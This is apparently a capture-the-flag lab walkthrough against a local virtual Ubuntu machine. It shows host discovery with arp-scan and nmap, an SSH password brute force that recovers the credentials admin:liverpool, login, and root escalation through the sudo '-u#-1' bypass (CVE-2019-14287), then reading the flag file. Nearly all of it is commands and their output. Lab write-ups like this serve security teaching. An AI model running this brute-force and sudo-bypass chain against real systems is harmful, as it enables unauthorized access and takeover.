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Exploit

Step 1: Finding the IP address of the Target

Command:

arp-scan -l



Step 2: Identifying the services running on the target

Command:

nmap -T4 -A 192.168.230.134

Step 3: Brute force SSH

Command:

nmap -p 22 --script ssh-brute 192.168.230.134

```
PORT STATE SERVICE

22/tcp open ssh
| ssh-brute:
| Accounts:
| admin:liverpool - Valid credentials
|_ Statistics: Performed 1530 guesses in 601 seconds, average tps: 2.7

MAC Address: 00:0C:29:A3:DF:9D (VMware)
```

Step 4: Login using SSH credentials

Command:

ssh admin@192.168.230.134

Password: liverpool

```
oot@kali:~# ssh admin@192.168.230.134
The authenticity of host '192.168.230.134 (192.168.230.134)' can't be establishe
ECDSA key fingerprint is SHA256:pnArlD1M7BVfhFrDPbq7JhY+A+JvkyWQ2K+ilpKPEcQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.230.134' (ECDSA) to the list of known hosts. admin@192.168.230.134's password: Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.8.0-50-generic x86_64)
 * Documentation: https://help.ubuntu.com
   Management:
                        https://landscape.canonical.com
 * Support:
                         https://ubuntu.com/advantage
129 updates can be installed immediately.
53 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Your Hardware Enablement Stack (HWE) is supported until April 2025.
$ pwd
/home/admin
$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin)
```

Step 5: Privilege Escalation using sudo

Command:

sudo -l

sudo -u#-1 /bin/bash

```
$ sudo -l
[sudo] password for admin:
Matching Defaults entries for admin on ubuntu:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin
n,
    mail_badpass

User admin may run the following commands on ubuntu:
        (ALL, !root) /bin/bash
$ sudo -u#-1 /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
```

```
$ sudo -u#-1 /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@ubuntu:/home/admin# id
uid=0(root) gid=1001(admin) groups=1001(admin)
root@ubuntu:/home/admin# pwd
/home/admin
root@ubuntu:/home/admin#
```

Step 6: Finding the flag

Command:

cd root cat flag.txt

```
root@ubuntu:/# cd root
root@ubuntu:/root# cat flag.txt
FLAG{SuDo_Is_GaWd}
root@ubuntu:/root#
```

References:

https://access.redhat.com/security/cve/cve-2019-14287